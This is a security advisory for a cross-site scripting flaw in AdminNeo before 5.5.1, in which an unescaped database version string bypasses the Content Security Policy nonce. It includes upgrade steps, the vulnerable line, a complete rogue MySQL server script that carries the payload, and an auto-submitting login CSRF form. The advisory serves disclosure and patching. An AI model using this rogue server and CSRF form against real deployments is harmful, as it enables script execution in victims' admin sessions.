AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)
As published by the sources
Affected packages
- adminneo-org/adminneoAffected
<5.5.1Fixed in5.5.1
Derived from the fixed versions above
What to do
Upgrade adminneo-org/adminneo to 5.5.1 or later.
composer update adminneo-org/adminneo --with-dependencies
To see which version you have installed, run composer show vendor/package. Running composer audit lists the known advisories that match your installed versions.
Quoted from the original advisory
Details
Summary
AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.
Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
Prerequisites
- Target runs AdminNeo
- Attacker controls a reachable MySQL server (a 80-line Python script)
Root Cause
admin/core/Admin.php, lines 1285-1286:
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.
Steps To Reproduce
1. Build the environment
Dockerfile (AdminNeo):
FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"]
rogue_mysql.py (fake MySQL server that accepts any login):
import socket, struct, threading PAYLOAD = "1');alert(origin)//" # Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I", 1) # connection id pkt += b"\x41" * 8 # auth plugin data part 1 pkt += b"\x00" # filler pkt += struct.pack("<H", CAPS_LOW) # capability flags lower pkt += b"\x21" # charset utf8 pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper pkt += b"\x15" # auth data length (21) pkt += b"\x00" * 10 # reserved pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2 pkt += b"mysql_native_password\x00" # auth plugin name return make_packet(0, pkt) def make_ok(seq): pkt = b"\x00" # OK marker pkt += b"\x00" # affected rows pkt += b"\x00" # last insert id pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", 0) # warnings return make_packet(seq, pkt) def make_eof(seq): pkt = b"\xfe" pkt += struct.pack("<H", 0) # warnings pkt += struct.pack("<H", 0x0002) # status flags return make_packet(seq, pkt) def make_err(seq, msg=b"not supported"): pkt = b"\xff" pkt += struct.pack("<H", 1045) pkt += b"#HY000" pkt += msg return make_packet(seq, pkt) def handle(conn): conn.sendall(make_greeting(PAYLOAD)) try: conn.recv(4096) # client login request except Exception: conn.close() return conn.sendall(make_ok(2)) # accept login # Answer any queries Adminer sends after login while True: try: data = conn.recv(4096) if not data: break seq = data[3] + 1 # Send ERR for all queries (Adminer still has the version in memory) conn.sendall(make_err(seq)) except Exception: break conn.close() srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", 3307)) srv.listen(5) print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD) while True: conn, addr = srv.accept() print(f"[+] Connection from {addr}") threading.Thread(target=handle, args=(conn,)).start()
# Terminal 1: start Adminer docker build -t adminer-xss . docker run -d -p 8081:8081 --name adminer-xss adminer-xss # Terminal 2: start rogue MySQL python3 rogue_mysql.py
2. Trigger the XSS
Open a browser and navigate to http://localhost:8081/adminneo.php:
- Select driver: MySQL
- Server:
HOST_IP:3307(IP of the machine running rogue_mysql.py) - Username:
root - Password:
x - Click Login.
The rogue server accepts the login. AdminNeo renders the dashboard and includes:
<script nonce="REAL_NONCE">let autocompletion; window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.
3. Trigger it via Login CSRF
The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:
<form id="f" method="POST" action="http://TARGET/adminneo.php"> <input name="auth[driver]" value="mysql"> <input name="auth[server]" value="ROGUE_IP:3307"> <input name="auth[username]" value="root"> <input name="auth[password]" value="x"> </form> <script>document.getElementById('f').submit()</script>
Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
References
- Advisoryhttps://github.com/advisories/GHSA-rx7m-wxwq-vxr9
- Webhttps://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9
- Webhttps://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
- Webhttps://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd
- Webhttps://github.com/adminneo-org/adminneo/releases/tag/v5.5.1